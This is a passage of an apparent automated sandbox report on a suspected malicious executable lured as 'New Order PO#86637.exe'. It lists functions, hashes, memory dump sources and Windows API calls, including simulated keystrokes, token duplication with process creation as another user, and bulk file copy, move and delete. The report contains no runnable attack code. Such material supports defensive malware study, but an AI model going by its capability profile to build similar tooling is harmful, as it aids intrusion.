Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 21b87f0337b3904faf2e49e7d89a80b8c5538d611ad57d97d778efbd48141229
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 8131F770A00105DBC718DF88E590AAAF7B1FB49310B6486A6E409CF355DB78EDC1CBD9

Function 00408F40 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5559574dc10eca8e97d8025a500eef8ee7d185e3c773571fee143e03780f234
Instruction ID: 427b4a632c312742ac0951887501238d3178a51c37fde1d0fd35c98815df3d2a
Opcode Fuzzy Hash: e5559574dc10eca8e97d8025a500eef8ee7d185e3c773571fee143e03780f234
Instruction Fuzzy Hash: 21119674200201ABDB249F36D984E26B3A5AF45304B244D2FF9C5D7790DB7CE881DB5E

Function 0045E17D Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b7bc891c26268d2cb6d46035521dde4ecfc0337a7d2d2d45483da740e67eee
Instruction ID: fe3c5e01fee558804f1d0cd68762aa03bf47037873853bda5dcd607d85013340
Opcode Fuzzy Hash: 35b7bc891c26268d2cb6d46035521dde4ecfc0337a7d2d2d45483da740e67eee
Instruction Fuzzy Hash: 2D118B352046019FDB10DF69D884E96B3E9AF8A314F14856EFD298B362CB35FC41CB95

Function 00414C76 Relevance: 1.5, APIs: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00414CC6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __lock_file
String ID:
API String ID: 3031932315-0
Opcode ID: 9d46abaf5bc0bef18357e8259ddf310e5220bee08d011669e2131a09b3543261
Instruction ID: 324047821ed349453e17c5e7f52af34d31ade4ebcb64e32b23ce3c6ad3b356a0
Opcode Fuzzy Hash: 9d46abaf5bc0bef18357e8259ddf310e5220bee08d011669e2131a09b3543261
Instruction Fuzzy Hash: FF011E71801219EBCF21AFA5C8028DF7B71AF44764F11851BF824551A1E7398AE2DBD9

Function 00443E36 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,?,?,004263D0,?,00487ACC,00000003,0040DE90,?,?,00000001), ref: 00443E54

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 873a582ac05df194872d3361efdc1b64d97226b1633050e8059638026df5ad0f
Instruction ID: f8d6e32d6ecef3e6c51c5ea05c7ff41eb941b2b6d152ec47b845c679c5cedb0e
Opcode Fuzzy Hash: 873a582ac05df194872d3361efdc1b64d97226b1633050e8059638026df5ad0f
Instruction Fuzzy Hash: 6BE01276100318ABDB10DF98D844FDA77BCEF48765F10891AFA048B200C7B4EA908BE4

Function 04209968 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 04209973

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 195c23eedc4a89e51baf60bc3cc3d10d01908f8b29aed20e491e172ce03d4d2a
Instruction ID: 17ae46e21aade992de39fbfbce68cf00b9aa30b034a986e7887f47c0687f5229
Opcode Fuzzy Hash: 195c23eedc4a89e51baf60bc3cc3d10d01908f8b29aed20e491e172ce03d4d2a
Instruction Fuzzy Hash: 8AE0867173510CEFCB10CBAC89046AD73E4A704310F008A54A417C31C2E530A980D758

Function 04209938 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 04209943

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 63700976fb5b8646ca9f82f7877e0f33cef2a649cb81b4b88ad66ba6039b9afc
Instruction ID: ef1c540f44b59f86af17a0e4749e9e8ff76133942aa506b700f5cb1350ed4e1f
Opcode Fuzzy Hash: 63700976fb5b8646ca9f82f7877e0f33cef2a649cb81b4b88ad66ba6039b9afc
Instruction Fuzzy Hash: 5AD05E71A1520DEBCB10CEA499049DE73A89705360F008754E91A832C2D531A9409754

Function 004149C2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 004149CF

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction ID: b34ddb7a850719c89311ce964fc9f65e9e9400c6a390d5c1cbb008c3125e494a
Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction Fuzzy Hash: 82C092B244020C77CF112A93EC02F9A3F1E9BC0764F058021FB1C1A162AA77EAA19689

Function 0040DA20 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00426FBF), ref: 0040DA3D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 4893ac657bcef9b9334a0355bd28ce0f0291ef024a1c9f1561977d8c5be9d70a
Instruction ID: 552ddd844a8bbede063c80161f66c4637379340f91e2bb70a518b226642b2913
Opcode Fuzzy Hash: 4893ac657bcef9b9334a0355bd28ce0f0291ef024a1c9f1561977d8c5be9d70a
Instruction Fuzzy Hash: B9E045B4A04B008BC6308F5BE444416FBF8EEE46203108E1FD4A6C2A64C3B4A1498F50

Function 0420B324 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 0420B339

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: 216bddfaa4378fbf035e591d47d051b71c3de98595c9fd0be4b61d7eea6a89a3
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 6AE0BF7594010DEFDB10DFE4D5496DD7BB4EF04301F1045A1FD05D7680DB309E548A62

Function 0420B328 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 0420B339

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 26592b8f60b6981c28a1e26fa02558e61bda082ffa85889775f6f07411cd9950
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: C2E0E67594010DDFDB00DFF4D54969D7FF4EF04301F104561FD01D2280D6309D508A62

Non-executed Functions

Function 0047C81C Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 674windowkeyboardCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C8E1
DefDlgProcW.USER32(?,0000004E,?,?), ref: 0047C8FC
GetKeyState.USER32(00000011), ref: 0047C92D
GetKeyState.USER32(00000009), ref: 0047C936
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C949
GetKeyState.USER32(00000010), ref: 0047C953
GetWindowLongW.USER32(00000002,000000F0), ref: 0047C967
SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C993
SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C9B6
_wcsncpy.LIBCMT ref: 0047CA29
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047CA5A
SendMessageW.USER32 ref: 0047CA7F
InvalidateRect.USER32(?,00000000,00000001), ref: 0047CADF
SendMessageW.USER32(?,00001030,?,0047EA68), ref: 0047CB84
ImageList_SetDragCursorImage.COMCTL32(00BFF530,00000000,00000000,00000000), ref: 0047CB9B
ImageList_BeginDrag.COMCTL32(00BFF530,00000000,000000F8,000000F0), ref: 0047CBAC
SetCapture.USER32(?), ref: 0047CBB6
ClientToScreen.USER32(?,?), ref: 0047CC17
ImageList_DragEnter.COMCTL32(00000000,?,?,?,?), ref: 0047CC26
ReleaseCapture.USER32 ref: 0047CC3A
GetCursorPos.USER32(?), ref: 0047CC72
ScreenToClient.USER32(?,?), ref: 0047CC80
SendMessageW.USER32(?,00001012,00000000,?), ref: 0047CCE6
SendMessageW.USER32 ref: 0047CD12
SendMessageW.USER32(?,00001111,00000000,?), ref: 0047CD53
SendMessageW.USER32 ref: 0047CD80
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0047CD99
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0047CDAA
GetCursorPos.USER32(?), ref: 0047CDC8
ScreenToClient.USER32(?,?), ref: 0047CDD6
GetParent.USER32(00000000), ref: 0047CDF7
SendMessageW.USER32(?,00001012,00000000,?), ref: 0047CE60
SendMessageW.USER32 ref: 0047CE93
ClientToScreen.USER32(?,?), ref: 0047CEEE
TrackPopupMenuEx.USER32(?,00000000,?,?,009E1C00,00000000,?,?,?,?), ref: 0047CF1C
SendMessageW.USER32(?,00001111,00000000,?), ref: 0047CF46
SendMessageW.USER32 ref: 0047CF6B
ClientToScreen.USER32(?,?), ref: 0047CFB5
TrackPopupMenuEx.USER32(?,00000080,?,?,009E1C00,00000000,?,?,?,?), ref: 0047CFE6
GetWindowLongW.USER32(?,000000F0), ref: 0047D086

Strings

@GUI_DRAGID, xrefs: 0047CBE2
F, xrefs: 0047CF71

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$ClientScreen$Image$CursorDragList_State$CaptureLongMenuPopupTrackWindow$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3100379633-4164748364
Opcode ID: 2b9e17ba3223fb7b4804536e302a42d427f78481ee09a8534aafb1e4469c1a6d
Instruction ID: 980357f173c9be8e312ccaa606797ee7157b6525bda81ee0817efdfc4c954517
Opcode Fuzzy Hash: 2b9e17ba3223fb7b4804536e302a42d427f78481ee09a8534aafb1e4469c1a6d
Instruction Fuzzy Hash: F842AD706043419FD714DF28C884FABB7A5FF89700F14865EFA489B291C7B8E846CB5A

Function 00434418 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 133keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00434420
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00434446
IsIconic.USER32(?), ref: 0043444F
ShowWindow.USER32(?,00000009), ref: 0043445C
SetForegroundWindow.USER32(?), ref: 0043446A
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00434481
GetCurrentThreadId.KERNEL32 ref: 00434485
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00434493
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004344A2
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004344A8
AttachThreadInput.USER32(00000000,?,00000001), ref: 004344B1
SetForegroundWindow.USER32(00000000), ref: 004344B7
MapVirtualKeyW.USER32(00000012,00000000), ref: 004344C6
keybd_event.USER32(00000012,00000000), ref: 004344CF
MapVirtualKeyW.USER32(00000012,00000000), ref: 004344DD
keybd_event.USER32(00000012,00000000), ref: 004344E6
MapVirtualKeyW.USER32(00000012,00000000), ref: 004344F4
keybd_event.USER32(00000012,00000000), ref: 004344FD
MapVirtualKeyW.USER32(00000012,00000000), ref: 0043450B
keybd_event.USER32(00000012,00000000), ref: 00434514
SetForegroundWindow.USER32(00000000), ref: 0043451E
AttachThreadInput.USER32(00000000,?,00000000), ref: 0043453F
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434545

Strings

Shell_TrayWnd, xrefs: 00434441

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ThreadWindow$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 2889586943-2988720461
Opcode ID: 8fb90041bee2e10260771149cd23f534c9f7767a381d567acbe6a88cba9e6a8e
Instruction ID: 0b42b206f44700a00bd4aa1610e9651ae8f7722fee000eb3c659fd44b6abead8
Opcode Fuzzy Hash: 8fb90041bee2e10260771149cd23f534c9f7767a381d567acbe6a88cba9e6a8e
Instruction Fuzzy Hash: AD416272640218BFE7205BA4DE4AFBE7B6CDB58B11F10442EFA01EA1D0D6F458419BA9

Function 00446313 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 234processCOMMON

Download Yara Rule

APIs

DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 0044638E
CloseHandle.KERNEL32(?), ref: 004463A0
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004463B8
GetProcessWindowStation.USER32 ref: 004463D1
SetProcessWindowStation.USER32(00000000), ref: 004463DB
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004463F7
_wcslen.LIBCMT ref: 00446498

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

_wcsncpy.LIBCMT ref: 004464C0
LoadUserProfileW.USERENV(?,00000020), ref: 004464D9
CreateEnvironmentBlock.USERENV(?,?,00000000), ref: 004464F3
CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,000F01FF,00000400), ref: 00446522
UnloadUserProfile.USERENV(?,?), ref: 00446555
CloseWindowStation.USER32(00000000), ref: 0044656C
CloseDesktop.USER32(?), ref: 0044657A
SetProcessWindowStation.USER32(?), ref: 00446588
CloseHandle.KERNEL32(?), ref: 00446592
DestroyEnvironmentBlock.USERENV(?), ref: 004465A9

Strings

@OH, xrefs: 00446480
default, xrefs: 004463F2
, xrefs: 00446348
winsta0, xrefs: 004463B3

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_wcslen_wcsncpy
String ID: $@OH$default$winsta0
API String ID: 3324942560-3791954436
Opcode ID: 4d1d68c1aea3dabcf030405aafb24e1344eb51be90ba82aa3e7b9bd6ceeac822
Instruction ID: a255b9755a473e3b45922b0ee48cea4cb67e1360e8ecd59b8ab49ad27cdc7b44
Opcode Fuzzy Hash: 4d1d68c1aea3dabcf030405aafb24e1344eb51be90ba82aa3e7b9bd6ceeac822
Instruction Fuzzy Hash: A28180B0A00209ABEF10CFA5DD4AFAF77B8AF49704F05455EF914A7284D778D901CB69

Function 004096A0 Relevance: 33.9, APIs: 21, Instructions: 2413COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004096C1

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

_memmove.LIBCMT ref: 0040970C

Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00000000), ref: 00409753
_memmove.LIBCMT ref: 00409D96
_memmove.LIBCMT ref: 0040A6C4
_memmove.LIBCMT ref: 004297E5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove$std::exception::exception$BuffCharException@8ThrowUpper_malloc_wcslen
String ID:
API String ID: 2383988440-0
Opcode ID: e127891bc0a98d019add158fe61e22172890978285290b421ac62a594046158c
Instruction ID: 3262ed4b583d717621f118bf118656dde374edbe3d76219253c131e703a2432c
Opcode Fuzzy Hash: e127891bc0a98d019add158fe61e22172890978285290b421ac62a594046158c
Instruction Fuzzy Hash: CD13BF706043109FD724DF25D480A2BB7E1BF89304F54896EE8869B392D739EC56CB9B

Function 0044BD27 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\New Order PO#86637.exe,0040F545,C:\Users\user\Desktop\New Order PO#86637.exe,004A90E8,C:\Users\user\Desktop\New Order PO#86637.exe,?,0040F545), ref: 0041013C

Part of subcall function 00433908: __wsplitpath.LIBCMT ref: 0043392E
Part of subcall function 00433908: __wsplitpath.LIBCMT ref: 00433950
Part of subcall function 00433908: __wcsicoll.LIBCMT ref: 00433974

Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F

_wcscat.LIBCMT ref: 0044BD94
_wcscat.LIBCMT ref: 0044BDBD
__wsplitpath.LIBCMT ref: 0044BDEA
FindFirstFileW.KERNEL32(?,?), ref: 0044BE02
_wcscpy.LIBCMT ref: 0044BE71
_wcscat.LIBCMT ref: 0044BE83
_wcscat.LIBCMT ref: 0044BE95
lstrcmpiW.KERNEL32(?,?), ref: 0044BEC1
DeleteFileW.KERNEL32(?), ref: 0044BED3
MoveFileW.KERNEL32(?,?), ref: 0044BEF3
CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0A
DeleteFileW.KERNEL32(?), ref: 0044BF15
CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2C
FindClose.KERNEL32(00000000), ref: 0044BF33
MoveFileW.KERNEL32(?,?), ref: 0044BF4F
FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF64
FindClose.KERNEL32(00000000), ref: 0044BF7C

Strings

\*.*, xrefs: 0044BD8E, 0044BDB7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
String ID: \*.*
API String ID: 2188072990-1173974218
Opcode ID: c24caf0b266a53f5e7acd00b30f5ede1e5d756040c77aa0fe23e7167681731b8
